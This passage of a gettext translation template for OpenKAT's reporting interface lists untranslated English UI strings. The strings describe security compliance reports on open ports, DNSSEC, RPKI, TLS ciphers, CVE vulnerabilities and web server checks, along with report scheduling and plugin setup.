Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr 